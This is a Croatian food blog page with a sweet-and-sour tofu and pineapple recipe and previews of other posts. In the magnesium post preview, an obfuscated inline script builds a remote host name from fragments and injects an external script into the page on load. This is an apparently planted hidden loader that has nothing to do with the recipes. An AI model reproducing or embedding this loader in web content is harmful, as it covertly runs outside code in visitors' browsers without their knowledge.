SLATKO - KISELI TOFU S GLAZUROM OD ANANASA I ĐUMBIRA 🍍





Slatko - kiseli tofu s glazurom od ananasa i đumbira 




Vegetarijanska verzija popularnog kineskog jela osvojit će i najvjernije ljubitelje mesa Ovaj recept donosi popularno jelo iz kineskih restorana u vegetarijanskoj varijanti, spajajući tofu bogat proteinima s karameliziranim ananasom i aromatičnim đumbirom.




Slatko - kiseli tofu s glazurom od ananasa i đumbira 


Sastojci:

  • 1 šalica bijele riže dugog zrna


  • 1 konzerva komadića ananasa u soku (oko 560 g), sok sačuvan


  • 400 g ekstra čvrstog tofua, ocijeđenog i narezanog na kockice od 2,5 cm


  • 5 mladih lukova


  • 3 žlice neutralnog ulja (npr. ulje repice)


  • 2 paprike, narezane na komadiće od 2,5 cm


  • 3 češnja češnjaka, sitno nasjeckana


  • 1 žličica naribanog svježeg đumbira


  • 1/4 šalice tamarija ili sojinog umaka


  • 1 žličica kukuruznog škroba





Priprema:


Priprema riže i obrada glavnih sastojaka

Riža se kuha prema uputama na pakiranju i drži na toplom do posluživanja. U međuvremenu se sok od ananasa cijedi u zasebnu posudu, dok se komadići voća i kockice tofua pažljivo suše papirnatim ručnikom kako bi se osiguralo bolje pečenje. Mladi luk se reže na tanke kolutiće, pri čemu se tamniji zeleni dijelovi odvajaju za kasnije ukrašavanje jela.




Pečenje tofua, ananasa i povrća

U velikoj neprijanjajućoj tavi zagriju se dvije žlice ulja na srednje jakoj vatri. Tofu se peče uz povremeno okretanje oko pet minuta dok ne dobije laganu boju, nakon čega se dodaju komadići ananasa koji se karameliziraju još četiri do šest minuta. Kada sastojci poprime zlatnu boju, prebacuju se na tanjur.

U istu tavu dodaje se preostala žlica ulja te se paprike pirjaju oko osam minuta dok ne omekšaju. Na kraju se dodaju češnjak, đumbir i svjetliji dijelovi mladog luka te se kratko prže dok ne puste miris.




Dovršavanje umaka i posluživanje

U tavu s povrćem ulijevaju se sojin umak i sok od ananasa te se smjesa lagano krčka nekoliko minuta. Gustoća se postiže dodavanjem mješavine kukuruznog škroba i žličice vode, što umak čini sjajnim i gustim.

Na samom kraju, tofu i ananas se vraćaju u tavu i lagano miješaju kako bi se ravnomjerno obložili glazurom. Jelo se poslužuje preko kuhane riže i ukrašava zelenim dijelovima mladog luka.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više